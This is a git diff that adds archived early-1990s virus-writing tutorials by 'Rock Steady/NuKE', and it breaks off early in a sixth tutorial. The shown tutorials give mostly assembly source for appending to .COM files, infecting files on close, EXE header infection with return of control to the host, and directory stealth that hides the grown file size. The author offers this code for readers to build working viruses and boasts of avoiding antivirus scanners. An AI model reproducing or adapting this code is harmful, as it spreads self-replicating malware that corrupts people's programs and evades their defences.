/dev/null +++ b/textfiles.com/virus/rstut003.txt @@ -0,0 +1,191 @@ + ****************************************** + ** Constructing Kit on infecting .COM ** + ** ** + ** By Rock Steady/NuKE ** + ****************************************** + + + Well I must state my opinion that there are certainly WAY too many + Overwriting Viruses out here. To help put a Stop to this I will try + to explain to you a SIMPLE way to infect COM files at the END of the + Program. This routine WORKS if you follow my steps correctly, and + I've already used this in my `ParaSite ][' Virus. + + Anyhow this is a brief description what the ASM Source will do. + 1. Find a .COM file in the current Directory + 2. Save the Date and File's Attribute. + 3. Save the First 3 Bytes in a Stack + 4. Infect the File & restore new 3 bytes.. + 5. Put the OLD date and File Attributes back on + + Beginning... + ~~~~~~~~~~~~ + ;---------------------------------------------------------------------- + ; The Simple routine to Search for a .COM File... + ;---------------------------------------------------------------------- + com_files db "*.com",0 + + mov ah,4eh ;point to a *.COM file... + mov dx,com_files + mov cx,3 ;Attributes with ReadOnly or Hidden + int 21h ;is A okay... + + cmp ax,12h ;Any files found? + je exit ;If no Files found Exit... + jmp found_file + ; Instead of Exiting here you can make the Virus go and change dir and + ; look for several other .com files else where... with the help of the + ; path or simply searching for more ... + + found_file: + mov di,[si+file] ;di points to the filename + push si + add si,file ;si points to filename... + + mov ax,offset 4300h ;get file Attributes... + mov dx,si ;filename in dx.. + int 21h + + mov file_attrib,cx ;Save file Attributes. + + file dw 0 + ; Here we'll set the file attributes to nothing + + mov ax,offset 4301h ;To set file Attributes... + mov cx,offset 0fffeh ;Set them to a Normal File + mov dx,si ;filename... + int 21h + + mov ax,offset 3d02h ;Open File to Read/Write. + mov dx,si ;ASCIIZ filename + int 21h + + jnb ok ;If file was open continue + jmp put_old_attrib ; error happened restore old attribs + ; and quit. + ok: + mov bx,ax + mov ax,offset 5700h ;Get File Date & Time... + int 21h + + mov old_time,cx ;Save old File Time... + mov old_date,dx ;Save old File Date + + old_time db 0 + old_date db 0 + + ; here we infect the file... but first we SAVE the first 3 bytes + ; somewhere in our virus + + mov ah,3fh ;Read file... + mov cx,3 ;Number of bytes to read + mov dx,first_3 ;Save bytes in the buffer + add dx,si ;Filename... + int 21h + + cmp ax,3 ;Where 3 bytes read? + jnz fix_file ;If not fix file like before and quit + + first_3 equ $ ; The First three bytes of the Original File! + int 20h ; the virus is infected to. + nop + + ; This moves the File pointer to the END of the file + + mov ax,offset 4202h + mov cx,0 + mov dx,0 + int 21h + mov cx,ax ;DX:AX is the FILESIZE! + sub ax,3 ;subtract three because of file pointer + + add cx,offset c_len_y + mov di,si + sub di,offset c_len_x + mov [di],cx ;Modifies the 2nd & 3rd bytes of program + + ; The writes our virus to the file + + mov ah,40h + mov cx,virlength ;Virus Length + mov dx,si ;File... + sub dx,offset codelength ;Length of virus codes. + int 21h + + cmp ax,offset virlength ;all bytes written? + jnz fix_file ;If no fix file and quit + + ;Moves the file pointer to the beginning of file and write the + ;3 bytes JMP at the beginning of the file + + mov ax,offset 4200h + mov cx,0 + mov dx,0 + int 21h + + mov ah,40h ;Write to file... + mov cx,3 ;# of bytes to write... + mov dx,si ;File name... + add dx,jump ;Point to the new JMP statement + int 21h + + jump db 0e9h ;This is the JMP that will be put in the + ;Begining of the file! + + ;Restore Old File Time & Date + + fix_file: + mov dx,old_date ;Old File Date + mov cx,old_time ;Old file Time... + and cx,offset 0ffe0h ;Flat Attribs. + mov ax,offset 5701h + int 21h + + mov ah,3eh + int 21h ;Close file... + + + ; Here we'll restore the old file attributes... + + put_old_attrib: + mov ax,offset 4301h + mov cx,old_att ;old File Attributes. + mov dx,si ;Filename... + int 21h + + ;----------------------------- EnD ------------------------------------- + + Anyhow that's it... Simple no? This source was also used in my ParaSite ][ + Virus that is STILL undetectable to date with Scanv85. Anyhow I even made + it MORE simpler than my real sources that have to play with the file paths. + + Anyhow theres still work to be done, like you must restore the old data file + so it will jump to 100h and run the old file the virus was infected too! + Remember to store them in the beginning and then restore them! Anyhow there's + a few Variables to be put in like `VirLength' which you should know how to + do that also the `CodeLength' that is the VIRUS codes ONLY not counting the + Stacks. + + Anyhow This works FINE with a Non-Resident Virus. Because a few statements + would have to be edited for TSRs. Anyhow try to use this, it's small neat + and fast. + + Anyhow Perhaps next issue I will develop a SIMPLE Ram-Resident virus that + infects COMs and EXEs to be released into the next issue! Though I just + release this sources for you to LEARN! Rather than putting you name on my + virus and releasing another strain on work I worked Hard upon! Anyhow I + should release a SIMPLE new Virus source for all you programmers out there! + And I will even explain a few Stealth Technics like how to hide your program + in memory right under the TOM. + + If there's Any Questions you want to know, please ask them I will answer + them in the next [NukE] Releases... I may even release source codes on how + to make an Algorithm Encryption method! I've developed one on my own, + without the V2PX viruses sources... Anyhow it does the job and the formula + I developed has an UNLIMITED amount of encryption methods! But since the + virus codes have to be SMALL Like close to 2,000 bytes I will limit the + formula to about 1,000 different combinations! + + Rock Steady + NukE / Viral Development Reaseacher + -PeAcE- diff --git a/textfiles.com/virus/rstut004.txt b/textfiles.com/virus/rstut004.txt new file mode 100644 index 00000000..ed71f5aa --- /dev/null +++ b/textfiles.com/virus/rstut004.txt @@ -0,0 +1,255 @@ + **************************** + ** Infection on Closing ** + ** ** + ** By Rock Steady/NuKE ** + **************************** + +This routine goes out for a few people that had trouble hacking this +routine themselves... I kinda like it, its my very OWN, no Dark Avenger +hack, it is VERY straight forward, and kinda simple...I was not going +to put this here, but since I `Promised' people and left them hanging +with `Wait for IJ#5, I guess I owed you it... huh?' + +Again this code comes right out of Npox 2.0, its need, simple fast, +cool, and it works, Npox is your example, I heard MANY MANY complaints +with other `Virus writing guides' Meaning they explained the code but +sometimes the arthur himself never check if the code was good, as he +may have modified it, and not test it... or whatever reason... Anyhow + +------------------ +Okay once you intercepted the Int21h/ah=3Dh function you make it jump +here... + +closing_file: cmp bx,0h ;Handle=0? + je closing_bye ;if equal leave + cmp bx,4h ;Handle > 4 + ja close_cont ;if YES ,then JUMP! +closing_bye: jmp dword ptr cs:[int21] ;Leave, no interest to us + +The whole point of the above code is that DOS contains 5 predefined +Handlers, 0 -> 4, Basically, those handles are the NULL, CON, AUX +COMx, LPTx handles... So we surely do not need to continue once we +encounter that... + +close_cont: push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + +Our biggest problem is how do we know if this file is a .COM or .EXE or +simply just another dumb data file? We need this info before we can +try to infect it... We do this by getting DOS's "Lists of List" this +will give us all INFO need on the File Handle Number we have in BX! +and we do that like so... + + push bx ;Save File Handle + mov ax,1220h ;Get the Job File Table + int 2fh ;(JFT) + +This will give us the JFT for the CURRENT File handle in BX, which +is given thru ES:DI Then we use this information to get the Address of +the System File Table! + + mov ax,1216h ;Get System File Table (List) + mov bl,es:[di] ;system file table entry number + int 2fh + pop bx ;restore the Handle + + add di,0011h + mov byte ptr es:[di-0fh],02h + + add di,0017h ;Jump to the ASCIIZ string + cmp word ptr es:[di],'OC' ;Is it a .COM file? + jne closing_next_try ;Next cmp... + cmp byte ptr es:[di+2h],'M' + jne pre_exit ;Nope exit + jmp closing_cunt3 ;.COM file continue + +closing_next_try: + cmp word ptr es:[di],'XE' ;Is it a .EXE file? + jne pre_exit ;No, exit + cmp byte ptr es:[di+2h],'E' + jne pre_exit ;No, exit + +If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when +started up, Opens itself, closes itself, etc... So that a dumb +virus will infect it, and then the CRC value changes and F-PROT +screams... haha... Fuck-Prot! is the name... + +closing_cunt: cmp word ptr es:[di-8],'CS' + jnz closing_cunt1 ;SCAN + cmp word ptr es:[di-6],'NA' + jz pre_exit + +closing_cunt1: cmp word ptr es:[di-8],'-F' + jnz closing_cunt2 ;F-PROT + cmp word ptr es:[di-6],'RP' + jz pre_exit + +closing_cunt2: cmp word ptr es:[di-8],'LC' + jnz closing_cunt3 + cmp word ptr es:[di-6],'AE' ;CLEAN + jnz closing_cunt3 + +pre_exit: jmp closing_nogood + +The REST is pretty much the EXACT same on `how' you'd infect a normal +file, I'll leave it for you to go thru it... The hardest part is +OVER! Only trick part is, the ending... Remember to Close the file +and then do an IRET, you don't leave control to dos, as you only needed +to close it, so do it... OR DON'T close it and return to DOS, as dos +will close it, just DON'T CLOSE IT TWICE!!!! + +closing_cunt3: mov ax,5700h ;Get file Time + call calldos21 + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jz closing_nogood ;Already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save time + mov word ptr ds:[old_date],dx + + mov ax,4200h ;jmp beginning of + xor cx,cx ;file... + xor dx,dx + call calldos21 + + mov ah,3fh ;Get first 1b byte + mov cx,1Bh + mov dx,offset buffer + call calldos21 + + jc closing_no_good ;error? + mov ax,4202h ;Jmp to the EOF + xor cx,cx + xor dx,dx + call calldos21 + + jc closing_no_good + cmp word ptr ds:[buffer],5A4Dh ;.EXE file? + je closing_exe ;Yupe then jmp + mov cx,ax + sub cx,3h + mov word ptr ds:[jump_address+1],cx ;Figure out the + call infect_me ;jmp for .com + + jc closing_no_good + mov ah,40h ;Write it to file + mov dx,offset jump_address + mov cx,3h + call calldos21 +closing_no_good: + mov cx,word ptr ds:[old_time] ;Save file time + mov dx,word ptr ds:[old_date] ;& date + mov ax,5701h + call calldos21 + +closing_nogood: pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] + +AS you see the above, we DIDN'T close the file, so we leave dos to do it. +The bottom is for infecting .exes... + +closing_exe: mov cx,word ptr cs:[buffer+20] ;Save the original + mov word ptr cs:[exe_ip],cx ;CS:IP & SS:SP + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc closing_no_good + + add ax,virus_size + adc dx,0 + + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + + push bx + push cx + mov cl,7 + shl dx,cl + + mov bx,ax + mov cl,9 + shr bx,cl + + add dx,bx + and ax,1FFh + jz close_split + inc dx +close_split: pop cx + pop bx + + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 + +closing_over: jmp closing_no_good + +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc + mov ah,40h + mov dx,offset init_virus + mov cx,virus_size + call calldos21 + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to + xor dx,dx ;Top of file! + call calldos21 + + jc exit_error ;Split Dude... + clc ;Clear carry flag + ret +exit_error: + stc ;Set carry flag + ret +infect_me endp + + diff --git a/textfiles.com/virus/rstut005.txt b/textfiles.com/virus/rstut005.txt new file mode 100644 index 00000000..aed62e0b --- /dev/null +++ b/textfiles.com/virus/rstut005.txt @@ -0,0 +1,175 @@ + ************************************************** + ** EXE Infections : PART I `Infection Process' ** + ** ** + ** By Rock Steady/NuKE ** + ************************************************** + + We must admit there are HUGE amount of Lame Viruses out there. Ever + wonder why so many people talk about the AIDS virus? Its a fucken over + writting virus. Its HUGE in size and its written in PASCAL. Please! Have + a little more respect for the virus world. What happened to that old + Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top + viruses as it used to! Or are we in for a surprise? (USSR Kicks!) + + Well to help people in advancing their Virus programming ability I will + try to explain that basics in Infecting an EXE file. There are several + ways to infect an EXE file. And I have tried several types. The best one + I have programmed is the one you'll see. In Basic, it will infect EXEs + by starting a new segment, only for the virus. This will infect EXEs over + the size of 64k, and it is alot less complicated.. + + Before we can begin we must know a few things, about EXEs. Let's say a + .COM file has been loaded to segment address 1234:0000. When the COM file + runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other + end EXE files, are basicaly several COMs in one. Where EXE files can set + up DATA struct in one segment, CODE in another, and STACK in another. EXEs + can have an unlimited amount of Segments, its limitation is Memory + Availablity. And the EXE file keeps track of these Segments, with an + EXE header, telling DOS what segments start where, How big the file is, + the amount of memory needed to run. the EXE header is the first few bytes + of the EXE file. Though if you use DEBUG to load an EXE file you will not + run into the EXE header, as DEBUG uses the EXE header to load its CS:IP + regesters with, the SS:SP and so on. Though you can view the EXE header + with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE' + Just rename an EXE, the extension can be anything you wish, however don't + go and rename it to COM or BIN, these are reserved Extensions, and debug + treats them differently, Example if you rename it to COM debug will load + the IP regester as 0100h. The EXE header is Usually 28 bytes, though it + is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in + multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the + last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using + it? Just a poping ideas out in the open. Anyhow this is how the EXE header + consists, of.. + START OFFSETS DISCRIPTIONS + (hex) (dec) + 00 | 00 | Always 4D 5A. Marks this file as an .EXE file + *02 | 02 | Remainder after dividing load module's size by 512 + *04 | 04 | Size of file in 512 byte pages + 06 | 06 | Number of relocation table entries + @08 | 08 | Size of header in paragraphs (16 bytes) + 0A | 10 | Minumum number of paragraphs required after loaded program + 0C | 12 | Maximum number of paragraphs required after loaded program + *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs + *10 | 16 | SP regester loaded with this word + 12 | 18 | Negative sum (ignore overflow) of all words in file (CRC) + *14 | 20 | IP register loaded with this word + *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs + 18 | 24 | Offset of first relocation item. + 1A | 26 | Overlay number. If no overlays used, this is 0 + * = Will be Edited by our Virus + @ = Needed to help our reconstruction of the EXE header + + First thing to do is read the EXE header for the file to be infected! + That can be resolved by... + mov ah,3fh ; Read from File BTW: BX=File Handle + mov cx,1ch ; Read 1Ch Bytes (28) + mov dx,offset ds:[buffer] ; Put it in our Buffer we set up! + int 21h ; Call the Dos to do it. + jc error_exit ; Error accured, Jmp to an Exit Routine + buffer db 1Ch DUP (?) ;This is how to set up your buffer. + exe_ip dw 0 ;This is were you will save the original + exe_cs dw 0 ;Registers from the EXE header! + exe_sp dw 0 ;Put all theses DWs & DBs at the end of + exe_ss dw 0 ;you file, with all the others... + Next, after reading the first 28 bytes, you will need to set your file + pointers to the end of the file. + + mov ax,4202h ; Move Read/Write Pointer to End of File + xor cx,cx ; plus offset (CX:DX)! So make sure CX:DX + xor dx,dx ; are ZERO or else it will go further than + int 21h ; the End of File! + jc error_exit ; Also test for errors! Be a Smart Virus! + + After bringing your virus to the end, you may start the infection + process... + ;Remember BX = File Handle DX:AX Pointer Location (EOF) + cmp word ptr cs:[buffer],5A4Dh ; Is file an .EXE? + /\ Reverse double word format + jnz error_exit ;Exit its NOT an .EXE file! + mov cx,word ptr cs:[buffer+14h] ;IP register Read + mov word ptr cs:[exe_ip],cx ;Save IP Register + mov cx,word ptr cs:[buffer+16h] ;CS Register Read + mov word ptr cs:[exe_cs],cx ;Save CS Register + mov cx,word ptr cs:[buffer+10h] ;SP Register Read + mov word ptr cs:[exe_sp],cx ;Save SP Register + mov cx,word ptr cs:[buffer+0Eh] ;SS Register Read + mov word ptr cs:[exe_ss],cx ;Save SS Register + + The following finds new CS:IP and SS:SP registers. It will create a new + segment, and CS:IP will point to the beginning of the Virus. If you have + other code, and the virus beginning is further down the First byte, just + add the number of Bytes to AX. + push ax + push dx + call Find_New_Offsets ;Refer to it at the END of this Text + sub dx,word ptr cs:[buffer+8h] ;Minus CS offset by EXE header! + mov word ptr cs:[buffer+16h],dx ;Save new CS Register + mov word ptr cs:[buffer+14h],ax ;Save new IP Register + pop dx + pop ax ; Restore Original DX:AX Point Location (EOF) + add ax,virus_size ; .STACKs are usually at the end of the code + ; in the EXEs, since our virus is now at the + ; End, we must move it after our virus, thus + ; it back at the END of the File! + adc dx,0 ;Add with Carry Flag! + push ax + push dx ;Save new EOF pointer Location + call Find_New_Offsets ;Get NEW offsets for SS:SP + sub dx,word ptr cs:[buffer+8h] ;Subtract EXE header from File Size + ;as it should not be counted! + add ax,40h ;Move Stacks a little after EOF + mov word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks + mov word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks + pop dx + pop ax ;Restore Original EOF (With Virus Counted) + push bx + push cx + mov cl,7 ;In Simple, here we are figuring out + shl dx,cl ;the New File Size in 512byte pages + add bx,ax ;Now Rather than using the DIV and + mov cl,9 ;MOD function, I used this one because + shr bx,cl ;It is alot FASTER for the Processor! + add dx,bx ;The Result is exactly same, But + and ax,1FFh ;Shifting bits, results of the + jz Its_Even ;Same function when dealing with base + inc dx ;16 numbers! + Its_Even: ;Read PeterNorton's Advanced ASM Language for + pop cx ;more neat short cuts for the above! + pop bx + mov word ptr cs:[buffer+2h],ax ;Remainder after of 512 pages + mov word ptr cs:[buffer+4h],dx ;New File Size in 512 pages + Now we are Ready to write the virus to the EXE File! (Yeah!) + mov ah,40h ;Write to File + mov dx,offset init_Virus ;This is the BEGINNING offset of your + ;Virus! (Look at NuKE PoX v1.1) + mov cx,Virus_size ;Virus Size + int 21h + jc error_exit ;Error Exit dude... + mov ax,4200h ;Move File Pointer to the BEGINNING + xor cx,cx ;of the EXE so, we may now write the + xor dx,dx ;EXE header! + int 21h + mov ah,40h ;Write to File + mov dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header + mov cx,1Ch ;CX=number of bytes to write + int 21h ;Do it! + + ; finds new Offsets for CS:IP & SS:SP Registers + Find_New_Offsets PROC NEAR + push bx + push cx + mov cl,0Ch ;(c) Rock Steady/NuKE + shl dx,cl ; I'm dividing here.... + mov bx,ax + mov cl,4 ; And multiply by 16 hear + shr bx,cl + add dx,bx + and ax,0Fh + pop cx + pop bx + retn + Find_New_Offsets ENDP + Rock Steady / NuKE + PS: This code works 100% as is! (Resident Virus) For Non-Residents add + a location pointer! Besides, Why the Hell are you write a non-Ressy + Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working! diff --git a/textfiles.com/virus/rstut006.txt b/textfiles.com/virus/rstut006.txt new file mode 100644 index 00000000..cdf71584 --- /dev/null +++ b/textfiles.com/virus/rstut006.txt @@ -0,0 +1,101 @@ + + ***************************** + ** EXE Infectors Part II ** + ** ** + ** By Rock Steady/NuKE ** + ***************************** + + The first part consisted on how to Infect the EXE file, from a resident + virus. However, that is only HALF the code and understanding needed for + EXE infectors. The part to follow, is on how to give control back to the + original EXE file. This is one part of EXE infectors, that mostly EVERY + ONE tend to forget to point out. Big tickle, you know how to infect the + EXE, but can you make the original EXE run after its infection? Do you + know how to restore the registers we took from the EXE header? Anyhow + lets get going... + + If the Infected EXE file is now executed, the first Line of Code it will + encounter will be the first byte of our Virus. Since CS:IP have been + changed in the header (Part I) to point to our Virus. The first thing + we will need to do, is set up a Variable offset, (As I call it). Basically + when TASM compiles our virus, all variables and other data locations are + given a FIX address. Though in the case of the Virus this is NOT GOOD as + viruses, tend to append themselves, and therefore variables are never + in the same location... + Fig 1. + (Original ASM Source) + CALL doit_Now ;Call PUSHes CS:IP addresses + doit_now: POP BP ;POP in BP the IP register + SUB BP,offset doit_now ;Make it EQUAL 0 for first Compile! + MOV AX,word ptr cs:[variable+BP] ;BP=0 now it works! + ... + variable dd 55 + When TASM Compiles the above Code it turns it into Fig 2. (Below) + Fig 2. Fig 3. + (Virus Just Compiled) (Virus Infect to a file) + 1234:0100 CALL 1234:0103 1234:0100 JMP 500 + 1234:0103 POP BP 1234:0102 ... (Infect File) + 1234:0104 SUB BP,0103 ... '' '' + 1234:0107 MOV AX,[0200+BP] 1234:0200 ... '' '' + ... ... '' '' + 1234:0200 dd 55 1234:0500 CALL 1234:0503 + 1234:0503 POP BP (BP=503) + 1234:0504 SUB BP,0103 (BP=400) + 1234:0507 MOV AX,[0200+BP] + ... (200+BP=600) + 1234:0600 dd 55 + Later when the Virus infects a File, it will represent Fig 3. Now, when + the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP + so when it has to RETurn, all it has to do is POP back the CS:IP to know + exactly where it left off! So we can take advantage of the command, by + POPing back ourselves, thus this will give us the NEXT byte from the CALL + command. which as you see, in the examples is our POP BP statement. + + However when the Virus is Freshly Compiled, all Registers values are GOOD, + so that is why we must make BP=0 the first time, as the variables were + set according to the sources, so no adjustment needed, though when we + infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.) + + Boy, That was the HARDEST part of that, Now if you found that simple pat + yourself on the back, as that is the only `BIG' Conflict people tend to + disregard or forget. So any time while you are NOT resident but infected + on the file, and you are running code from the infected file just use the + that BP Variable Pointer, for any data being loaded... Now lets put the + routine together, along with the routine to EXECUTE the original EXE file + + ; After the Virus Has moved a copy of itself in memory, Control must be + ; Given back to the Original EXE file we just infected... This is the + ; Routine to do it.. + exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Loads CS register + mov ax,cs ;Move current CS in AX + sub ax,bx ;Subtract for alinment + mov dx,ax + add ax,word ptr cs:[exe_cs][bp] ;Get ORIGINAL CS + add dx,word ptr cs:[exe_ss][bp] ;Get ORIGINAL SS + mov bx,word ptr cs:[exe_ip][bp] ;Get ORIGINAL IP + mov word ptr cs:[fuck_yeah][bp],bx ;Put IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order) + mov ax,word ptr cs:[exe_sp][bp] ;Get ORIGNAL SP + mov word ptr cs:[Rock_fix1][bp],dx ;Put in SS + mov word ptr cs:[Rock_fix2][bp],ax ;Put in SP + db 0B8h ;The Byte `B80000' is really a MOV AX,???? + Rock_Fix1: ;???? is the Value of SS that we will put into + dw 0 ;THIS LINE! + cli ;Disable Interrupts (No Jamming) + mov ss,ax ;Mov the AX (really SS) into SS register + db 0BCh ;Byte `BC0000' is really a MOV SP,???? + Rock_Fix2: ;???? is the Value of SP that we will put into + dw 0 ;THIS LINE!! + sti ;Enable Interrupts + db 0EAh ;The Byte `EA00000000' is a JMP CS:IP How ever + fuck_Yeah: ;IP comes FIRST then CS (Reverse Order) And then + dd 0 ;the Virus does the JMP CS:IP to the Original + ; Simple huh? + ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes + ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing + ; that looks like any of them Sources we see around. Though I give it to + ; you to use. + Rock Steady / NuKE + `One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit' + `Lose Them pounds, Get Rid of that unwanted FAT of them Drives...' diff --git a/textfiles.com/virus/rstut007.txt b/textfiles.com/virus/rstut007.txt new file mode 100644 index 00000000..aac15641 --- /dev/null +++ b/textfiles.com/virus/rstut007.txt @@ -0,0 +1,157 @@ + + ***************************** + ** Directory Stealth ** + ** ** + ** By Rock Steady/NuKE ** + ***************************** + + Stealth Viruses are the Viruses that I must admit Anti-Viral Queers + Don't tend to like at all. Emagine if we added a Polymorphic feature into + the Stealth Virus? But, if you want to Continue Writing Viruses you have + to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners + and CRC & Checksum Checkers. In order to stop many viruses, But it will + NEVER stop the `Stealth' Virus that is SMART of those AV features! + + People think that there is ALOT of more INFECTED PCs since the virus + threat, started in 1986-7. Even though in the beginning only 10 or so + viruses were known, they Infected more systems, Compared to the viruses + today, where we have about 1300 and growing. But the truth is LESS PCs + are getting infect now, as people are now Virus Aware. With all the + utilities out, any joker can stop and clean a virus in seconds. Come + on, how many people MEMORIZED COMMAND.COM size? Out of my head its + 47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem. + + A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth + feature. That will NOT show you the INCREASE of file size, when the + virus infects it. I have played with a few routines as such. I have + tried reducing the File size in the FAT area, which results in the + famous CHKDSK error reports of Loss Sectors, or Cross Links... And + fixing them with CHKDSK will result in damaging the file for good. + + What can we do? How about reducing the File size Right AFTER its read + by DOS or any Utilities and right BEFORE its display on the screen! + Yeah that's an Idea, Here's how to go about it... + + %Theory% + ~~~~~~~~ + First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h + function 11h & 12h is called! If you don't know how to Hook Interrupts + Read RESIDENT VIRIIs Article in this NewsLetter. + + Int21_Handler: + cmp ah,11h ;Is a DOS `Dir' being done? + je dir_stealth ;Yes, Jump to `DIR_STEALTH' + cmp ah,12h ;Is a DOR `Dir' Being done? + je dir_stealth ;Yes, Jump to `DIR_STEALTH' + + Int21Call: + jmp dword ptr cs:[Int21] ;Or Else Goto ORIGINAL Int 21h + ret ;Is need for the CALL of below + + That's all that is needed in your Int21_Handler. Ofcourse if you are + infecting file that are being Execute you add it ABOVE! Anyhow lets + Explain the `DIR_STEALTH' + + Offset Size Description + 컴컴탠컴컴탠컴컴컴[Normal FCB]컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + 00h � 1 � Drive Number 00=current drive 01=A,02=B,03=C etc.. + 01h � 8 � Filename. Unused Spaces padded with Blanks + 09h � 3 � Extension of Filename. + 0Ch � 2 � Current block. points to block of records + 0Eh � 2 � Record Size. + 10h � 4 � FileSize in Bytes. (Low-order first, then high-order) + 14h � 2 � Date of Last Write. YY-MM-DD into bits YYYY-YYYM-MMMD-DDDD + 16h � 2 � Time of Last Write. HH:MM:SS into bits HHHH-HMMM-MMMS-SSSS + 18h � 4 � Reserved + *1Ch � 4 � SAME `10h' but THIS FILESIZE gets printed on Screen! + 20h � 1 � Offset of current record + 21h � 4 � Relative Record + + * = Field Changed by virus. + + Extended FCB: Are Identical to the Normal FCB but, it has three new + ~~~~~~~~~~~~ fields totalling 7 bytes. (That is why we add y to BX) + The additional 7 bytes are added to the BEGINNING! + + + Offset Size Description + 컴컴탠컴컴탠컴컴컴[Extended FCB]컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + -07h � 1 � ALWAYS FFh tells use this is an Extended FCB + -06h � 5 � Reserved for DOS + -01h � 1 � Attribute Byte + + So if we have an Extended FCB the first Byte will be FFh simply INC it + and if its ZERO you got a Extended FCB! You can also CMP ES:[BX],FFh + but that takes too many Bytes! Be COMPACT!!! + + %Algorithms% + ~~~~~~~~~~~~ + CONDISTION: After calling Function 11h/12h (Int 21h) it will + search with the contents in the FCB. (*.*) which the DS:DX + registers point to the FCB. If successful it will DUPLICATE + the specified of the FCB in the current DTA (Disk Transfer Area) + And basically we will EDIT the info in the DTA! + NOTE: Just because we are using the DTA doesn't mean this will work for + function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to + search, that is a different procedure, though somewhat the same as + this one. See Method #2, for that. + + Step 1. We call the Int 21h so we may have the results to play with + BEFORE DOS displays them on screen. + Step 2. Get the Current PSP, As the FCB is located inside the PSP + in COM files its CS:0000 - CS:00FF. But in EXEs it can be any- + where, Int21h/AH=51 (Undocemented) will do this for us. + Step 3. Unmask the seconds (see if its infected) Quit if NOT + Step 4. Get the current DTA + Step 5. Test if it is Either an Extended FCB or Normal! If Extended + Simple add 7h to the Address. (As Extended only have 7 bytes + extra in the begining) + Step 6. Minus File size from the DTA! & Restore Time Back + + ; Here it is... Method #1 + + dir_stealth: + pushf ;Fake an INT Call + push cs ;Needed to return back HERE! (Virus) + call Int21Call ;Call the interrupt (See `Int21_Handler') + test al,al ;AL=00h if successful + jnz no_good ;Not Successful. Errors Eg:No More Files + + push ax + push bx ;Save them since they will be used! So when + push es ;We exit all is restored to as Before! + mov ah,51h ;(Undocmented) Gets the Current PSP and puts + int 21h ;it into BX + + mov es,bx ;ES now has PSP segment Address + cmp bx,es:[16h] ;Did we open a Good PSP? + jnz exit_man ;No, PSP unavailable, Exit Dude + mov bx,dx ;BX now points to the Original FCB in PSP + mov al,[bx] ;AL now has the current drive + push ax ;Save it to tell if its an Extended FCB + mov ah,2fh ;Get DTA (Disk Transfer Address) + int 21h + ;Also before we start fiddling around we must know if we are working with + ;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended + ;Has three fields appended to the normal one... (Above) + + pop ax ; AL = FFh if Extended FCB or else Drive # + inc al ; Will tell us if we have an Extended FCB + jnz fcb_ok ; No, We don't continue as normal + add bx,7h ; Yes, we do, add 7h to BX pointer + fcb_ok: mov ax,es:[bx+17h] ;Gets Seconds Field + and ax,1fh ;Unmask to have SECONDS only + xor al,1dh ;is it 58 seconds? (1d * 2) + jnz not_infected ;Nope, okay its not infected + and byte ptr es:[bx+17h],0e0h ;Restores seconds + sub es:[bx+1dh],virus_size ;Subtract FileSize with Virii + sbb es:[bx+1fh],ax ;Needed to fix up Bytes with + not_infected: ;Borrowing + pop es ;Ciao, Ciao + pop bx + pop ax + no_good:iret ;Pretend you came back from an Interrupt call! + ;----------------------------The EnD------------------------------------- + Rock Steady / NuKE + `Feed my Frankenstein', Alice Cooper + NOTE: This Code Works, Look at NuKE PoX V1.1 to see it... diff --git a/textfiles.com/virus/rstut008.txt b/textfiles.com/virus/rstut008.txt new file mode 100644 index 00000000..8b118867 --- /dev/null +++ b/textfiles.com/virus/rstut008.txt @@ -0,0 +1,97 @@ + + ******************************* + ** Dir Stealth Method 2 ** + ** ** + ** By Rock Steady/NuKE ** + ******************************* + + Some May notice that when they use PCTOOLs (aka PCSHELL) or Peter Norton + Utilities, or *SOME* File Managing systems like DOS-Shell, the File + increase of infected files is know 